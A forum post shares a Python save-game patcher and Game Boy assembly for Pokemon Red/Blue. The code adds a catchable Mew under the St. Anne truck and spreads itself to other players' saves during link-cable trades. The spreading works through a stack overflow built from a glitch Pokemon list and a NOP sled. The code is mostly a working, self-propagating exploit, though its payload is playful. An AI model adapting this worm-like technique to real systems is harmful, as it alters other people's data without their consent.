03-12-2017, 03:13 PM
save game patcher:
GBz80 Code:
I didn't write the code, that honour belongs to a MrCheeze.
The above will patch your game to add mew underneath that fecking truck in the upper right quadrant of the st. anne map. This works on both a real Gameboy running Pokemon Blue and Red and due to the way in which it is applied it works on the VC editions as well.
The way it works is quite ingenious actually.
The GBz80 code is designed to execute custom room scripts depending on what map is loaded, in this case it modifies st. anne's map to allow you to use strength on the truck in the upper right quadrant and underneath is mew! which you can battle and capture.
I mentioned that the way it is patched is rather interesting, it is a virus of sorts that transmits itself when you trade with other red/blue saves.
It exploits the fact that when you connect to each other you exchange your name, list of pokemon in the party and their data structures.
Since the code that prints the list of pokemon names executes until it encounters a terminator record, you can construct a list of glitch pokemon that will continue writing pokemon to ram all the way down until it smashes the gameboy's stack allowing you to jump to a location in ram which stores the games event flags.
If the current set flags form a noop sled down to where the trainer's name is you can then with a carefully constructed trainer name jump into the data exchanged during the trade setup, in this case copying both the payload that executes custom room scripts in the save game, the code that transmits said payload and the mew under the truck room script for st. anne.
Unfortunately it does mean that you cannot trade with yellow/gen II games because the payload is specific to red/blue, how ever you can remove the payload by entering the hall of fame at the end of the game which clears out the code that executes the custom room scripts.
Code:
import sys
if len(sys.argv) != 2:
  print('Usage:')
  print('python convert_sav_to_mew_truck_virus.py <savefile>')
  exit(1)
file = open(sys.argv[1],'rb')
sav = list(bytearray(file.read()))
file.close()
assert len(sav) == 0x8000
main_payload = [
  0x06,0x03,0xF0,0x41,0xA0,0x28,0xFB,0xF0,0x41,0xA0,0x20,0xFB,0xFA,0x42,0x81,0xFE,
  0x3B,0x28,0x16,0x11,0x40,0xC9,0x21,0xC0,0x80,0x0E,0x04,0xCD,0x48,0x18,0x11,0x40,
  0xC9,0x21,0x40,0x81,0x0E,0x04,0xCD,0x48,0x18,0x21,0xFF,0xC1,0x7E,0xFE,0x02,0xC8,
  0xA7,0x28,0x08,0x34,0xAF,0xEA,0xE1,0xD4,0xEA,0x10,0xC1,0x21,0x6C,0xD3,0x36,0x20,
  0x23,0x36,0xC9,0xFA,0xFE,0xC1,0xA7,0x28,0x19,0x21,0x31,0xC7,0x7E,0xFE,0x0C,0x28,
  0x11,0x3E,0x0C,0x77,0x3E,0x03,0xEA,0x9F,0xD0,0x01,0x0B,0x00,0x3E,0x17,0xCD,0x6D,
  0x3E,0xC9,0xFA,0x62,0xD3,0xFE,0x13,0xC0,0xFA,0x28,0xD7,0xE6,0x01,0xC8,0xFA,0xC6,
  0xCF,0xFE,0x58,0xC0,0xFA,0x28,0xD5,0xFE,0x01,0xC0,0x21,0xFE,0xC1,0x34,0x3E,0x02,
  0xEA,0x60,0xCD,0x3E,0xA8,0xCD,0xB1,0x23,0x11,0x80,0xC9,0x21,0x00,0x89,0x0E,0x08,
  0xCD,0x48,0x18,0x3E,0x0C,0xEA,0x9F,0xD0,0x01,0x0A,0x00,0x3E,0x17,0xCD,0x6D,0x3E,
  0x1E,0x58,0x21,0x60,0xC3,0x06,0x50,0x16,0x90,0x4B,0x70,0x23,0x71,0x79,0xC6,0x08,
  0x4F,0x23,0x72,0x14,0x23,0x36,0x10,0x23,0x7A,0xFE,0x94,0x20,0x03,0x06,0x58,0x4B,
  0xFE,0x98,0x20,0xE6,0x1C,0xCD,0xAF,0x20,0x7B,0xFE,0x79,0x20,0xD5,0x3E,0x01,0xEA,
  0xE1,0xD4,0xEA,0x10,0xC1,0x21,0x14,0xC2,0x36,0x04,0x23,0x36,0x19,0x23,0x36,0xFF,
  0x21,0x1E,0xC2,0x36,0x02,0x21,0x56,0xC0,0x3E,0xFF,0x22,0x77,0x2E,0xE9,0x36,0x70,
  0x3E,0x03,0xEA,0x9F,0xD0,0x01,0x0B,0x00,0x3E,0x17,0xCD,0x6D,0x3E,0xC9,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x22,0xC9,0x00,0x8C,0xA4,0xB6,0xE7,0x50,0x08,0x3E,0x15,0xEA,0x59,0xD0,0xCD,0xD0,
  0x13,0xCD,0x48,0x37,0x3E,0x32,0xEA,0x27,0xD1,0x21,0xFF,0xC1,0x34,0xC3,0xD7,0x24,
  0x00,0x00,0x3B,0x3B,0x3F,0x3C,0x1F,0x18,0x1F,0x12,0x1F,0x10,0x3E,0x39,0x7F,0x4C,
  0x00,0x00,0xDC,0xDC,0xFC,0x3C,0xF8,0x18,0xF8,0x48,0xF8,0x08,0x78,0x98,0xFC,0x3C,
  0x7B,0x4F,0x30,0x3F,0x11,0x1F,0x09,0x0F,0x1C,0x17,0x1F,0x13,0x0C,0x0C,0x00,0x00,
  0xDE,0xF2,0x1E,0xF2,0x8C,0xFC,0x90,0xF0,0x38,0xE8,0xF8,0xC8,0x30,0x30,0x00,0x00,
  0x00,0xFF,0x01,0xFF,0x0F,0xFE,0x1F,0xF2,0x37,0xEC,0x37,0xEC,0x67,0xDC,0x67,0xDC,
  0xFE,0xFF,0xFF,0x21,0xE1,0x5F,0xE1,0x5F,0xE1,0x5F,0xE1,0x5F,0xE1,0x5F,0xE7,0x39,
  0x00,0xFF,0x00,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0xFF,0xFF,0x00,0xFF,0x00,
  0x00,0xFF,0x00,0xFF,0xFC,0xFF,0xFA,0xFF,0xFA,0x0F,0x0A,0xFF,0xFA,0x0F,0xFA,0x0F,
  0x67,0xDC,0x63,0xDE,0x63,0xDE,0x6D,0xDF,0x30,0xFF,0x20,0xFF,0x1F,0xFF,0x07,0xFF,
  0xE1,0x3F,0xFF,0x7F,0xFF,0xD1,0xFF,0x91,0xFF,0xFF,0x81,0xFF,0xFF,0xFF,0xE0,0xFF,
  0xFF,0x00,0x00,0xFF,0xFF,0x00,0xFF,0xFF,0x00,0xFF,0x00,0xFF,0xFF,0xFF,0x07,0xFF,
  0xFA,0x0F,0x0A,0xFF,0xFA,0x0F,0xFA,0xFF,0x02,0xFF,0x02,0xFF,0xFC,0xFF,0xE0,0xFF,
  0x21,0x30,0xD7,0xCB,0x96,0x21,0x61,0xD3,0x2A,0xFE,0x04,0xC0,0x7E,0xFE,0x03,0x28,
  0x03,0xFE,0x06,0xC0,0x21,0x30,0xD7,0xCB,0xD6,0xF0,0xAA,0xEE,0x03,0x21,0x2A,0xD5,
  0xBE,0xC0,0xF0,0xB3,0x3D,0xC0,0x3E,0x08,0xE0,0xB8,0x3E,0x22,0xCD,0xF5,0x3E,0x3E,
  0x02,0xEA,0x2B,0xD1,0x3D,0xE0,0xBA,0xCD,0xD7,0x3D,0xAF,0xE0,0xB0,0x3E,0x01,0x26,
  0x20,0x77,0xE0,0xB8,0x21,0x41,0xD1,0x01,0xFD,0x17,0x71,0x23,0x05,0x20,0xFB,0x21,
  0x64,0xD1,0x01,0x61,0x01,0x2A,0x0B,0x3C,0x20,0xFB,0x2B,0x3E,0xE3,0x22,0x0B,0x78,
  0xB1,0x20,0xF8,0x36,0xFC,0x3E,0x3B,0x23,0x36,0xCE,0x3D,0x20,0xFA,0x21,0xD7,0xCB,
  0x36,0xC3,0x23,0x36,0xE0,0x23,0x36,0xC8,0x21,0x08,0xC5,0x3E,0xFD,0x22,0x22,0x22,
  0x3E,0xFF,0x22,0x22,0xAF,0x22,0x22,0x22,0x22,0x54,0x5D,0x21,0x20,0xC9,0x01,0x80,
  0x00,0xCD,0xB5,0x00,0x21,0x48,0xD1,0x36,0xC3,0x23,0x36,0xD8,0x23,0x36,0xC5,0x23,
  0x36,0x18,0x23,0x36,0xFB,0x23,0x36,0x00,0x23,0x36,0x18,0x23,0x36,0xFB,0x23,0x36,
  0x18,0x23,0x36,0xF6,0xCD,0x0F,0x19,0xCD,0x29,0x24,0xCD,0x80,0x36,0xCD,0xE6,0x5A,
  0x21,0x43,0xC4,0x01,0x0C,0x02,0xCD,0xB3,0x5A,0x21,0x6C,0xC4,0x11,0x0F,0x55,0xCD,
  0x55,0x19,0xC1,0xC3,0xB5,0x53,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x31,0xF9,0xDF,0x26,0x0A,0x74,0x3E,0xA0,0xF5,0x67,0x2E,0x00,0x11,0x00,0xC7,0x01,
  0x00,0x01,0xCD,0xB5,0x00,0xCD,0x7F,0x22,0xCD,0xD7,0x3D,0x21,0xFF,0xC6,0x36,0xFD,
  0x11,0xE8,0xC6,0x01,0x10,0x01,0x3E,0x08,0xE0,0xFF,0xCD,0x6F,0x21,0x3E,0x0D,0xE0,
  0xFF,0xF1,0x3C,0xFE,0xA4,0x20,0xD1,0x3E,0x51,0xCD,0x6D,0x3E,0xC3,0x45,0x53,0x00,
  0x31,0xE7,0xDF,0x26,0x0A,0x74,0x26,0x40,0x36,0x01,0x3E,0xA0,0xF5,0xCD,0x7F,0x22,
  0xCD,0xD7,0x3D,0x21,0x16,0x03,0x11,0x00,0xC8,0xD5,0x01,0x10,0x01,0x3E,0x08,0xE0,
  0xFF,0xCD,0x6F,0x21,0x3E,0x0D,0xE0,0xFF,0xE1,0x2A,0xFE,0xFD,0x28,0xFB,0x2B,0xF1,
  0xF5,0x57,0x1E,0x00,0x01,0x00,0x01,0xCD,0xB5,0x00,0xF1,0x3C,0xFE,0xA4,0x20,0xCC,
  0x21,0x1A,0xA6,0x11,0x16,0xA9,0x7E,0x36,0x83,0x12,0x23,0x13,0x7E,0x36,0xD6,0x12,
  0x13,0x21,0x9B,0xA3,0x01,0x65,0x00,0xCD,0xB5,0x00,0x3E,0x1C,0xEA,0x00,0x20,0xE0,
  0xB8,0x21,0x98,0xA5,0x01,0x8B,0x0F,0xCD,0x56,0x78,0xEA,0x23,0xB5,0x26,0x00,0x74,
  0x3E,0x01,0xEA,0x00,0x20,0xE0,0xB8,0xC3,0x45,0x53,0x00,0x21,0x6F,0xD3,0x11,0x6B,
  0xD6,0x3A,0xFE,0x80,0x30,0x04,0x12,0x1B,0x7E,0x12,0x36,0x83,0x23,0x36,0xD6,0x3E,
  0xC3,0xC9,0x21,0x80,0xFF,0x36,0x18,0x23,0x36,0x78,0x21,0xFA,0xFF,0x36,0xCD,0x23,
  0x36,0x6C,0x23,0x36,0xD6,0x23,0x36,0x18,0x23,0x36,0x83,0xFA,0x5E,0xD3,0xFE,0x5E,
  0x28,0x0B,0xFE,0xEF,0x28,0x0C,0x21,0x6A,0xD6,0x2A,0x66,0x6F,0xE9,0x21,0x00,0xA0,
  0x18,0x03,0x21,0x00,0xA2,0x3E,0x0A,0xEA,0x00,0x00,0x3E,0x01,0xEA,0x00,0x40,0x11,
  0x00,0xC8,0x01,0x00,0x02,0xCD,0xB5,0x00,0x26,0x00,0x74,0xCD,0x00,0xC8,0x18,0xD6
]
bootstrap = [
  0x21,0x6F,0xD3,0x11,0x6B,0xD6,0x3A,0xFE,0x80,0x30,0x04,0x12,0x1B,0x7E,0x12,0x36,
  0x83,0x23,0x36,0xD6,0x3E,0xC3,0xC9,0x21,0x80,0xFF,0x36,0x18,0x23,0x36,0x78,0x21,
  0xFA,0xFF,0x36,0xCD,0x23,0x36,0x6C,0x23,0x36,0xD6,0x23,0x36,0x18,0x23,0x36,0x83,
  0xFA,0x5E,0xD3,0xFE,0x5E,0x28,0x0B,0xFE,0xEF,0x28,0x0C,0x21,0x6A,0xD6,0x2A,0x66,
  0x6F,0xE9,0x21,0x00,0xA0,0x18,0x03,0x21,0x00,0xA2,0x3E,0x0A,0xEA,0x00,0x00,0x3E,
  0x01,0xEA,0x00,0x40,0x11,0x00,0xC8,0x01,0x00,0x02,0xCD,0xB5,0x00,0x26,0x00,0x74,
  0xCD,0x00,0xC8,0x18,0xD6
]
sav[0x2000:0x2400] = main_payload
sav[0x2918:0x297D] = bootstrap
if sav[0x261B] != 0xD6:
  sav[0x2916:0x2918] = sav[0x261A:0x261C]
  sav[0x261A:0x261C] = [0x83,0xD6]
checksum = 0xFF
for x in sav[0x2598:0x3523]:
  checksum -= x
  checksum %= 0x100
sav[0x3523] = checksum
assert len(sav) == 0x8000
file = open(sys.argv[1],'wb')
file.write(bytearray(sav))
file.close()
print('Done!')GBz80 Code:
Code:
SECTION "Main",ROM0 ; D66C
; Patch the current room script every time we load another room
ld hl,$D36F
ld de,$D66B
ld a,[hld]
cp $80
jr nc,alreadyPatchedScript
ld [de],a
dec de
ld a,[hl]
ld [de],a
alreadyPatchedScript:
ld [hl],$83
inc hl
ld [hl],$D6
ld a, $C3 ; important for DMARoutine
ret
SECTION "Main",ROM0[$0017] ; D683
; Patch hram code to always call the code at D66C
ld hl,$ff80
ld [hl],$18 ; jr 78 (to FFFA)
inc hl
ld [hl],$78
ld hl,$FFFA
ld [hl],$CD ; call $D66C
inc hl
ld [hl],$6C
inc hl
ld [hl],$D6
inc hl
ld [hl],$18 ; jr 83 (to FF82)
inc hl
ld [hl],$83
ld a,[$d35e] ; current map
cp $5E
jr z,vermilionDocks
cp $EF
jr z,tradeCenter
returnFromRoomSpecificScript:
; return to to normal script for the room.
ld hl,$D66A
ld a,[hli]
ld h,[hl]
ld l,a
jp [hl]
;;;end
vermilionDocks:
ld hl,$A000
jr loadExtraCodeFromSram
tradeCenter:
ld hl,$A200
loadExtraCodeFromSram:
ld a,$0A
ld [$0000],a ;enable sram
ld a,$01
ld [$4000],a ;choose sram bank
ld de,$C800
ld bc,$0200
call $00B5 ; CopyData
ld h,$00
ld [hl],h ; disable sram
call $C800
jr returnFromRoomSpecificScript
SECTION "Main",ROM0[$0200] ; sram 2000
ld b,%11
waitForNonHBlank:
ldh a, ($41)
and b
jr z, waitForNonHBlank
waitForHBlank:
ldh a, ($41)
and b
jr nz, waitForHBlank
ld a,[$8142]
cp $3B
jr z,dontFixMewGraphics
; fix mew graphics
ld de,$C940
ld hl,$80C0
ld c,4
call $1848 ; CopyVideoData
ld de,$C940
ld hl,$8140
ld c,4
call $1848 ; CopyVideoData
dontFixMewGraphics:
ld hl,$C1FF
ld a,[hl]
cp $02
ret z ; have fought mew AND done the mew cleanup
and a
jr z,haventFoughtMewYet
inc [hl]
xor a
ld [$d4e1],a ; wNumSprites
ld [$C110],a
haventFoughtMewYet:
ld hl,$d36c ; text ptr
ld [hl],$20
inc hl
ld [hl],$C9
ld a,[$c1fe]
and a
jr z,dontNeedToMoveTruckAfterReload
ld hl,$c731
ld a,[hl]
cp $0C
jr z,dontNeedToMoveTruckAfterReload
ld a,$0C
ld [hl],a ; remove truck
ld a,3
ld [$d09f],a ; wNewTileBlockID
ld bc, $000B ; coords to right of truck
ld a,$17 ; ReplaceTileBlock
call $3E6D ; Predef
ret
dontNeedToMoveTruckAfterReload:
ld a,[$D362] ; X pos
cp $13
ret nz
ld a,[$D728] ;strength
and $01
ret z
ld a,[$CFC6] ; tile in front of player = left side of truck
cp $58
ret nz
ld a,[$D528] ; pushing right
cp $01
ret nz
ld hl,$c1fe
inc [hl] ; flag truck as pushed
ld a,$02 ; dust
ld [$cd60],a
ld a, $A8; SFX_PUSH_BOULDER
call $23B1 ; PlaySound
ld de,$C980 ; copy truck graphics into sprite reachable area
ld hl,$8900
ld c,8
call $1848 ; CopyVideoData
ld a,$0C
ld [$d09f],a ; wNewTileBlockID
ld bc, $000A ; coords to truck
ld a,$17 ; ReplaceTileBlock
call $3E6D ; Predef
ld e,$58
truckDelayLoop:
ld hl,$c360
ld b,$50
ld d,$90
ld c,e
truckLoop:
ld [hl],b
inc hl
ld [hl],c
ld a,c
add a,$08
ld c,a
inc hl
ld [hl],d
inc d
inc hl
ld [hl],$10
inc hl
ld a,d
cp $94
jr nz,notSecondRow
ld b,$58
ld c,e
notSecondRow:
cp $98
jr nz,truckLoop
inc e
call $20AF ; DelayFrame
ld a,e
cp $79
jr nz,truckDelayLoop
ld a,1
ld [$d4e1],a; wNumSprites
ld [$c110],a
ld hl,$C214
ld [hl],$04
inc hl
ld [hl],$19
inc hl
ld [hl],$FF
ld hl,$c21e
ld [hl],$02
ld hl, $C056 ;mess with music
ld a,$FF
ld [hli],a
ld [hl],a
ld l,$e9
ld [hl],$70
ld a,3
ld [$d09f],a ; wNewTileBlockID
ld bc, $000B ; coords to right of truck
ld a,$17 ; ReplaceTileBlock
call $3E6D ; Predef
ret
SECTION "Main",ROM0[$0320] ; 2120
DB $22,$C9 ; pointer to this text
DB $00,$8C,$A4,$B6,$E7,$50,$08 ; Mew!, terminator, asm
ld a, $15 ; Mew
ld [$d059], a ; wCurOpponent
call $13D0 ; PlayCry
call $3748 ; WaitForSoundToFinish
ld a, 50
ld [$d127], a ; wCurEnemyLVL
ld hl,$c1ff
inc [hl]
jp $24D7; TextScriptEnd
SECTION "Main",ROM0[$0400] ; sram 2200
ld hl,$d730
res 2,[hl] ; enable use of A button
ld hl,$D361
ld a,[hli] ; X pos
cp $04
ret nz
ld a,[hl]
cp $03
jr z,dontRet
cp $06
ret nz
dontRet:
ld hl,$d730
set 2,[hl] ; disable use of A button (for interacting with game boy)
ldh a,($AA) ; check direction
xor $03 ; switch 1 and 2
ld hl,$d52a
cp [hl]
ret nz
ldh a,($B3) ; check a pressed
dec a
ret nz
ld a,$08
ldh ($B8),a
ld a,$22 ; just a moment
call $3EF5 ; PrintPredefTextID
ld a,$02
ld [$d12b],a ; link state = trade
dec a ; $01
ldh ($BA),a ; enable continuous WRAM to VRAM transfer each V-blank
call $3DD7 ; Delay3
xor a
ldh ($B0),a ; put the window on the screen
ld a,$01
ld h,$20
ld [hl],a
ldh ($B8),a ; change bank
ld hl,$D141
ld bc,$17FD
setUpFD:
ld [hl],c
inc hl
dec b
jr nz,setUpFD
ld hl,$d164
ld bc,$0161
findFirstFF:
ld a,[hli]
dec bc
inc a
jr nz,findFirstFF
dec hl
fillWithE3:
ld a,$E3
ld [hli],a
dec bc
ld a,b
or c
jr nz,fillWithE3
ld [hl],$FC ; glitch pokemon name for blue that points to rng bytes
ld a,$3B
fillWithCE:
inc hl
ld [hl],$CE ; send red to CBD7
dec a
jr nz,fillWithCE
ld hl,$CBD7
ld [hl],$C3 ; jp $C8E0
inc hl
ld [hl],$E0
inc hl
ld [hl],$C8
ld hl,$C508
ld a,$FD
ld [hli],a
ld [hli],a
ld [hli],a
ld a,$FF
ld [hli],a
ld [hli],a
xor a
ld [hli],a
ld [hli],a
ld [hli],a
ld [hli],a
ld d,h
ld e,l
ld hl,$C920
ld bc,$0080
call $00B5 ; CopyData
ld hl,$D148
ld [hl],$C3 ; jp $C5D8
inc hl
ld [hl],$D8
inc hl
ld [hl],$C5
inc hl
;next bytes - landing anywhere in this sequence will jump you back to the jp $C5DF
ld [hl],$18 ; jr -5
inc hl
ld [hl],$FB
inc hl
ld [hl],$00 ; nop
inc hl
ld [hl],$18 ; jr -5
inc hl
ld [hl],$FB
inc hl
ld [hl],$18 ; jr -10
inc hl
ld [hl],$F6
call $190F ; ClearScreen
call $2429 ; UpdateSprites
call $3680 ; LoadFontTilePatterns
call $5AE6 ; LoadTrainerInfoTextBoxTiles
ld hl,$C443
ld bc,$020C
call $5AB3 ; CableClub_TextBoxBorder
ld hl,$C46C
ld de,$550F
call $1955 ; PlaceString
pop bc
jp $53B5 ; CableClub_DoBattleOrTrade - from "call Serial_SyncAndExchangeNybble"
SECTION "Main",ROM0[$04E0] ; sram 22E0
;code for red
ld sp,$DFF9 ; fix broken stack
ld h,$0A
ld [hl],h ;enable sram
ld a,$A0
loopVirus:
push af
ld h,a
ld l,$00
ld de,$c700
ld bc,$0100
call $00B5 ; CopyData
call $227F ; Serial_SyncAndExchangeNybble
call $3DD7 ; Delay3
ld hl,$c6FF
ld [hl],$FD
ld de,$c6e8
ld bc,$0110
ld a,$08
ldh ($FF),a
call $216F ; Serial_ExchangeBytes (216F)
ld a,$0D
ldh ($FF),a
pop af
inc a
cp $A4
jr nz,loopVirus
ld a,$51 ; LoadSAV2 - reload our corrupted party data. also disables sram
call $3E6D ; Predef
jp $5345 ; CableClub_DoBattleOrTradeAgain
SECTION "Main",ROM0[$0520] ; sram 2320
;code for blue
ld sp,$DFE7 ; fix broken stack
ld h,$0A
ld [hl],h ;enable sram
ld h,$40
ld [hl],$01 ;choose sram bank
ld a,$A0
loopVictim:
push af
call $227F ; Serial_SyncAndExchangeNybble
call $3DD7 ; Delay3
ld hl,$0316
ld de,$C800
push de
ld bc,$0110
ld a,$08
ldh ($FF),a
call $216F ; Serial_ExchangeBytes (216F)
ld a,$0D
ldh ($FF),a
pop hl
checkForFD:
ld a,[hli]
cp $FD
jr z,checkForFD
dec hl
pop af
push af
ld d,a
ld e,$00
ld bc,$0100
call $00B5 ; CopyData
pop af
inc a
cp $A4
jr nz,loopVictim
ld hl,$A61A
ld de,$A916
ld a,[hl]
ld [hl],$83
ld [de],a
inc hl
inc de
ld a,[hl]
ld [hl],$D6
ld [de],a
inc de
ld hl,$A39B
ld bc,$0065
call $00B5 ; CopyData
ld a,$1C
ld [$2000],a
ldh ($B8),a
ld hl, $A598
ld bc, $0F8B
call $7856 ; SAVCheckSum
ld [$b523], a
ld h,$00
ld [hl],h ;disable sram
ld a,$01
ld [$2000],a
ldh ($B8),a
jp $5345 ; CableClub_DoBattleOrTradeAgainI didn't write the code, that honour belongs to a MrCheeze.
The above will patch your game to add mew underneath that fecking truck in the upper right quadrant of the st. anne map. This works on both a real Gameboy running Pokemon Blue and Red and due to the way in which it is applied it works on the VC editions as well.
The way it works is quite ingenious actually.
The GBz80 code is designed to execute custom room scripts depending on what map is loaded, in this case it modifies st. anne's map to allow you to use strength on the truck in the upper right quadrant and underneath is mew! which you can battle and capture.
I mentioned that the way it is patched is rather interesting, it is a virus of sorts that transmits itself when you trade with other red/blue saves.
It exploits the fact that when you connect to each other you exchange your name, list of pokemon in the party and their data structures.
Since the code that prints the list of pokemon names executes until it encounters a terminator record, you can construct a list of glitch pokemon that will continue writing pokemon to ram all the way down until it smashes the gameboy's stack allowing you to jump to a location in ram which stores the games event flags.
If the current set flags form a noop sled down to where the trainer's name is you can then with a carefully constructed trainer name jump into the data exchanged during the trade setup, in this case copying both the payload that executes custom room scripts in the save game, the code that transmits said payload and the mew under the truck room script for st. anne.
Unfortunately it does mean that you cannot trade with yellow/gen II games because the payload is specific to red/blue, how ever you can remove the payload by entering the hall of fame at the end of the game which clears out the code that executes the custom room scripts.
![[Image: musictal.jpg]](http://i1067.photobucket.com/albums/u432/musictalkboard/musictal.jpg)